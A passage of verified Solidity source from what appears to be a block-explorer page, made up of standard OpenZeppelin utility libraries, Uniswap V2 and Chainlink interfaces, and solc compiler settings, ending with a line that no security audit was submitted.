_version.toStringWithFallback(_versionFallback); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol) pragma solidity ^0.8.20; /** * @dev Provides tracking nonces for addresses. Nonces will only increment. */ abstract contract Nonces { /** * @dev The nonce used for an `account` is not the expected current nonce. */ error InvalidAccountNonce(address account, uint256 currentNonce); mapping(address account => uint256) private _nonces; /** * @dev Returns the next unused nonce for an address. */ function nonces(address owner) public view virtual returns (uint256) { return _nonces[owner]; } /** * @dev Consumes a nonce. * * Returns the current value and increments nonce. */ function _useNonce(address owner) internal virtual returns (uint256) { // For each account, the nonce has an initial value of 0, can only be incremented by one, and cannot be // decremented or reset. This guarantees that the nonce never overflows. unchecked { // It is important to do x++ and not ++x here. return _nonces[owner]++; } } /** * @dev Same as {_useNonce} but checking that `nonce` is the next valid for `owner`. */ function _useCheckedNonce(address owner, uint256 nonce) internal virtual { uint256 current = _useNonce(owner); if (nonce != current) { revert InvalidAccountNonce(owner, current); } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/ReentrancyGuard.sol) pragma solidity ^0.8.20; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant NOT_ENTERED = 1; uint256 private constant ENTERED = 2; uint256 private _status; /** * @dev Unauthorized reentrant call. */ error ReentrancyGuardReentrantCall(); constructor() { _status = NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { _nonReentrantBefore(); _; _nonReentrantAfter(); } function _nonReentrantBefore() private { // On the first call to nonReentrant, _status will be NOT_ENTERED if (_status == ENTERED) { revert ReentrancyGuardReentrantCall(); } // Any calls to nonReentrant after this point will fail _status = ENTERED; } function _nonReentrantAfter() private { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = NOT_ENTERED; } /** * @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a * `nonReentrant` function in the call stack. */ function _reentrancyGuardEntered() internal view returns (bool) { return _status == ENTERED; } }
pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
pragma solidity >=0.5.0; interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); function getRoundData( uint80 _roundId ) external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound); function latestRoundData() external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/MessageHashUtils.sol) pragma solidity ^0.8.20; import {Strings} from "../Strings.sol"; /** * @dev Signature message hash utilities for producing digests to be consumed by {ECDSA} recovery or signing. * * The library provides methods for generating a hash of a message that conforms to the * https://eips.ethereum.org/EIPS/eip-191[EIP 191] and https://eips.ethereum.org/EIPS/eip-712[EIP 712] * specifications. */ library MessageHashUtils { /** * @dev Returns the keccak256 digest of an EIP-191 signed data with version * `0x45` (`personal_sign` messages). * * The digest is calculated by prefixing a bytes32 `messageHash` with * `"\x19Ethereum Signed Message:\n32"` and hashing the result. It corresponds with the * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method. * * NOTE: The `messageHash` parameter is intended to be the result of hashing a raw message with * keccak256, although any bytes32 value can be safely used because the final digest will * be re-hashed. * * See {ECDSA-recover}. */ function toEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32 digest) { /// @solidity memory-safe-assembly assembly { mstore(0x00, "\x19Ethereum Signed Message:\n32") // 32 is the bytes-length of messageHash mstore(0x1c, messageHash) // 0x1c (28) is the length of the prefix digest := keccak256(0x00, 0x3c) // 0x3c is the length of the prefix (0x1c) + messageHash (0x20) } } /** * @dev Returns the keccak256 digest of an EIP-191 signed data with version * `0x45` (`personal_sign` messages). * * The digest is calculated by prefixing an arbitrary `message` with * `"\x19Ethereum Signed Message:\n" + len(message)` and hashing the result. It corresponds with the * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method. * * See {ECDSA-recover}. */ function toEthSignedMessageHash(bytes memory message) internal pure returns (bytes32) { return keccak256(bytes.concat("\x19Ethereum Signed Message:\n", bytes(Strings.toString(message.length)), message)); } /** * @dev Returns the keccak256 digest of an EIP-191 signed data with version * `0x00` (data with intended validator). * * The digest is calculated by prefixing an arbitrary `data` with `"\x19\x00"` and the intended * `validator` address. Then hashing the result. * * See {ECDSA-recover}. */ function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) { return keccak256(abi.encodePacked(hex"19_00", validator, data)); } /** * @dev Returns the keccak256 digest of an EIP-712 typed data (EIP-191 version `0x01`). * * The digest is calculated from a `domainSeparator` and a `structHash`, by prefixing them with * `\x19\x01` and hashing the result. It corresponds to the hash signed by the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] JSON-RPC method as part of EIP-712. * * See {ECDSA-recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) { /// @solidity memory-safe-assembly assembly { let ptr := mload(0x40) mstore(ptr, hex"19_01") mstore(add(ptr, 0x02), domainSeparator) mstore(add(ptr, 0x22), structHash) digest := keccak256(ptr, 0x42) } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/ShortStrings.sol) pragma solidity ^0.8.20; import {StorageSlot} from "./StorageSlot.sol"; // | string | 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | // | length | 0x BB | type ShortString is bytes32; /** * @dev This library provides functions to convert short memory strings * into a `ShortString` type that can be used as an immutable variable. * * Strings of arbitrary length can be optimized using this library if * they are short enough (up to 31 bytes) by packing them with their * length (1 byte) in a single EVM word (32 bytes). Additionally, a * fallback mechanism can be used for every other case. * * Usage example: * * ```solidity * contract Named { * using ShortStrings for *; * * ShortString private immutable _name; * string private _nameFallback; * * constructor(string memory contractName) { * _name = contractName.toShortStringWithFallback(_nameFallback); * } * * function name() external view returns (string memory) { * return _name.toStringWithFallback(_nameFallback); * } * } * ``` */ library ShortStrings { // Used as an identifier for strings longer than 31 bytes. bytes32 private constant FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF; error StringTooLong(string str); error InvalidShortString(); /** * @dev Encode a string of at most 31 chars into a `ShortString`. * * This will trigger a `StringTooLong` error is the input string is too long. */ function toShortString(string memory str) internal pure returns (ShortString) { bytes memory bstr = bytes(str); if (bstr.length > 31) { revert StringTooLong(str); } return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length)); } /** * @dev Decode a `ShortString` back to a "normal" string. */ function toString(ShortString sstr) internal pure returns (string memory) { uint256 len = byteLength(sstr); // using `new string(len)` would work locally but is not memory safe. string memory str = new string(32); /// @solidity memory-safe-assembly assembly { mstore(str, len) mstore(add(str, 0x20), sstr) } return str; } /** * @dev Return the length of a `ShortString`. */ function byteLength(ShortString sstr) internal pure returns (uint256) { uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF; if (result > 31) { revert InvalidShortString(); } return result; } /** * @dev Encode a string into a `ShortString`, or write it to storage if it is too long. */ function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) { if (bytes(value).length < 32) { return toShortString(value); } else { StorageSlot.getStringSlot(store).value = value; return ShortString.wrap(FALLBACK_SENTINEL); } } /** * @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}. */ function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) { if (ShortString.unwrap(value) != FALLBACK_SENTINEL) { return toString(value); } else { return store; } } /** * @dev Return the length of a string that was encoded to `ShortString` or written to storage using * {setWithFallback}. * * WARNING: This will return the "byte length" of the string. This may not reflect the actual length in terms of * actual characters as the UTF-8 encoding of a single character can span over multiple bytes. */ function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) { if (ShortString.unwrap(value) != FALLBACK_SENTINEL) { return byteLength(value); } else { return bytes(store).length; } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5267.sol) pragma solidity ^0.8.20; interface IERC5267 { /** * @dev MAY be emitted to signal that the domain could have changed. */ event EIP712DomainChanged(); /** * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712 * signature. */ function eip712Domain() external view returns ( bytes1 fields, string memory name, string memory version, uint256 chainId, address verifyingContract, bytes32 salt, uint256[] memory extensions ); }
pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/Strings.sol) pragma solidity ^0.8.20; import {Math} from "./math/Math.sol"; import {SignedMath} from "./math/SignedMath.sol"; /** * @dev String operations. */ library Strings { bytes16 private constant HEX_DIGITS = "0123456789abcdef"; uint8 private constant ADDRESS_LENGTH = 20; /** * @dev The `value` string doesn't fit in the specified `length`. */ error StringsInsufficientHexLength(uint256 value, uint256 length); /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { unchecked { uint256 length = Math.log10(value) + 1; string memory buffer = new string(length); uint256 ptr; /// @solidity memory-safe-assembly assembly { ptr := add(buffer, add(32, length)) } while (true) { ptr--; /// @solidity memory-safe-assembly assembly { mstore8(ptr, byte(mod(value, 10), HEX_DIGITS)) } value /= 10; if (value == 0) break; } return buffer; } } /** * @dev Converts a `int256` to its ASCII `string` decimal representation. */ function toStringSigned(int256 value) internal pure returns (string memory) { return string.concat(value < 0 ? "-" : "", toString(SignedMath.abs(value))); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { unchecked { return toHexString(value, Math.log256(value) + 1); } } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { uint256 localValue = value; bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = HEX_DIGITS[localValue & 0xf]; localValue >>= 4; } if (localValue != 0) { revert StringsInsufficientHexLength(value, length); } return string(buffer); } /** * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal * representation. */ function toHexString(address addr) internal pure returns (string memory) { return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH); } /** * @dev Returns true if the two strings are equal. */ function equal(string memory a, string memory b) internal pure returns (bool) { return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b)); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) // This file was procedurally generated from scripts/generate/templates/StorageSlot.js. pragma solidity ^0.8.20; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ```solidity * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(newImplementation.code.length > 0); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } struct StringSlot { string value; } struct BytesSlot { bytes value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `StringSlot` with member `value` located at `slot`. */ function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `StringSlot` representation of the string storage pointer `store`. */ function getStringSlot(string storage store) internal pure returns (StringSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := store.slot } } /** * @dev Returns an `BytesSlot` with member `value` located at `slot`. */ function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`. */ function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := store.slot } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/math/Math.sol) pragma solidity ^0.8.20; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Muldiv operation overflow. */ error MathOverflowedMulDiv(); enum Rounding { Floor, // Toward negative infinity Ceil, // Toward positive infinity Trunc, // Toward zero Expand // Away from zero } /** * @dev Returns the addition of two unsigned integers, with an overflow flag. */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds towards infinity instead * of rounding towards zero. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { if (b == 0) { // Guarantee the same behavior as in a regular Solidity division. return a / b; } // (a + b - 1) / b can overflow on addition, so we distribute. return a == 0 ? 0 : (a - 1) / b + 1; } /** * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or * denominator == 0. * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by * Uniswap Labs also under MIT license. */ function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) { unchecked { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2^256 + prod0. uint256 prod0 = x * y; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { // Solidity will revert if denominator == 0, unlike the div opcode on its own. // The surrounding unchecked block does not change this fact. // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic. return prod0 / denominator; } // Make sure the result is less than 2^256. Also prevents denominator == 0. if (denominator <= prod1) { revert MathOverflowedMulDiv(); } /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. // Always >= 1. See https://cs.stackexchange.com/q/138556/92363. uint256 twos = denominator & (0 - denominator); assembly { // Divide denominator by twos. denominator := div(denominator, twos) // Divide [prod1 prod0] by twos. prod0 := div(prod0, twos) // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one. twos := add(div(sub(0, twos), twos), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * twos; // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv = 1 mod 2^4. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also // works in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /** * @notice Calculates x * y / denominator with full precision, following the selected rounding direction. */ function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) { uint256 result = mulDiv(x, y, denominator); if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) { result += 1; } return result; } /** * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded * towards zero. * * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11). */ function sqrt(uint256 a) internal pure returns (uint256) { if (a == 0) { return 0; } // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target. // // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`. // // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)` // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))` // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)` // // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit. uint256 result = 1 << (log2(a) >> 1); // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128, // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision // into the expected uint128 result. unchecked { result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; return min(result, a / result); } } /** * @notice Calculates sqrt(a), following the selected rounding direction. */ function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = sqrt(a); return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0); } } /** * @dev Return the log in base 2 of a positive value rounded towards zero. * Returns 0 if given 0. */ function log2(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 128; } if (value >> 64 > 0) { value >>= 64; result += 64; } if (value >> 32 > 0) { value >>= 32; result += 32; } if (value >> 16 > 0) { value >>= 16; result += 16; } if (value >> 8 > 0) { value >>= 8; result += 8; } if (value >> 4 > 0) { value >>= 4; result += 4; } if (value >> 2 > 0) { value >>= 2; result += 2; } if (value >> 1 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 2, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log2(value); return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0); } } /** * @dev Return the log in base 10 of a positive value rounded towards zero. * Returns 0 if given 0. */ function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >= 10 ** 64) { value /= 10 ** 64; result += 64; } if (value >= 10 ** 32) { value /= 10 ** 32; result += 32; } if (value >= 10 ** 16) { value /= 10 ** 16; result += 16; } if (value >= 10 ** 8) { value /= 10 ** 8; result += 8; } if (value >= 10 ** 4) { value /= 10 ** 4; result += 4; } if (value >= 10 ** 2) { value /= 10 ** 2; result += 2; } if (value >= 10 ** 1) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log10(value); return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0); } } /** * @dev Return the log in base 256 of a positive value rounded towards zero. * Returns 0 if given 0. * * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string. */ function log256(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 16; } if (value >> 64 > 0) { value >>= 64; result += 8; } if (value >> 32 > 0) { value >>= 32; result += 4; } if (value >> 16 > 0) { value >>= 16; result += 2; } if (value >> 8 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 256, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log256(value); return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0); } } /** * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers. */ function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) { return uint8(rounding) % 2 == 1; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SignedMath.sol) pragma solidity ^0.8.20; /** * @dev Standard signed math utilities missing in the Solidity language. */ library SignedMath { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } } }
{ "remappings": [ "ds-test/=lib/forge-std/lib/ds-test/src/", "forge-std/=lib/forge-std/src/", "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/", "@uniswap/v2-core/contracts/=lib/v2-core/contracts/", "@uniswap/v2-periphery/contracts/=lib/v2-periphery/contracts/", "@chainlink/contracts/=lib/chainlink/contracts/", "chainlink/=lib/chainlink/contracts/", "erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/", "openzeppelin-contracts/=lib/openzeppelin-contracts/", "v2-core/=lib/v2-core/contracts/", "v2-periphery/=lib/v2-periphery/contracts/" ], "optimizer": { "enabled": true, "runs": 200 }, "metadata": { "useLiteralContent": false, "bytecodeHash": "ipfs", "appendCBOR": true }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "evmVersion": "paris", "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
